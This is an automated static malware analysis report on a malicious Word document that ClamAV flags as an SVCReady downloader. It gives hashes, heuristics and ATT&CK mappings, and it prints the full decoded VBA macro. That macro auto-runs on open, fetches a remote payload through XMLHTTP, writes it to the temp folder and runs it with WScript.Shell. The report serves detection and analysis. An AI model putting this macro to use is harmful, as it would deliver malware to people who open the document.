Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3fe92d49ce855b4f…

MALICIOUS

Office (OOXML)

111.6 KB Created: 2020-08-06 11:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 1a4f65ed7281bc34f2ac6a374f6690c6 SHA-1: cf860d9a2c0859f2ee0a17579c37884a79250fdc SHA-256: 3fe92d49ce855b4f02a99ba5c4a89edd2255603a4e0b5d9f3cc8767dd0809066
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that utilizes WScript.Shell and CreateObject to download a second-stage payload from an external URL. The script constructs a temporary file path 'temp\main.theme' for the downloaded payload. The presence of AutoOpen, Shell(), and WScript.Shell usage strongly indicates a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function f7be01dd(b867ac8b)
Set c6cce80b = CreateObject("wscript.shell")
Call c6cce80b.exec(b867ac8b)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function f7be01dd(b867ac8b)
Set c6cce80b = CreateObject("wscript.shell")
Call c6cce80b.exec(b867ac8b)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "d4d0ea09"
Sub AutoOpen()
Dim c7398d8a As New ce0867da
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function b48c04ca()
b48c04ca = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 658a5ad5ffe9c593af66e2f147a99e53bec3369c6ed39b83fbd7541219982d22
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d4d0ea09"
Sub AutoOpen()
Dim c7398d8a As New ce0867da
Dim e4f57df7 As String
e4f57df7 = af3008dc(ActiveDocument.Shapes(1).AlternativeText)
c44b0d93 = c7398d8a.b6aa2bd7(e4f57df7)
c56288e4 b48c04ca, c44b0d93
cb793ea6 = c7398d8a.f7be01dd(ebeffa60 & " " & b48c04ca)
End Sub

Attribute VB_Name = "eafdd953"
Sub c56288e4(b53ef17d, beb5c130)
Dim ebfd7841
ebfd7841 = FreeFile
Open b53ef17d For Output As #ebfd7841
Print #ebfd7841, f4f006d9(beb5c130)
Close #ebfd7841
End Sub
Function b48c04ca()
b48c04ca = Environ("temp") & "\main.theme"
End Function
Function af3008dc(b0c933f3)
'af3008dc = StrReverse(b0c933f3)
af3008dc = b0c933f3
End Function
Sub f33c6dc8()
End Sub
Function f4f006d9(beb5c130)
f4f006d9 = StrConv(beb5c130, 64)
End Function
Function ebeffa60()
ebeffa60 = af3008dc(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "ce0867da"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function b6aa2bd7(e4165116)
Dim ef954ca5 As Object
Set ef954ca5 = New MSXML2.XMLHTTP60
aaa = ef954ca5.Open("GET", e4165116, False)
ef954ca5.Send
b6aa2bd7 = ef954ca5.responsebody
End Function
Function f7be01dd(b867ac8b)
Set c6cce80b = CreateObject("wscript.shell")
Call c6cce80b.exec(b867ac8b)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 9fb352c1562ca7482f9cec61b242ae35ef4ed6231b558005334657e9676fcbe8

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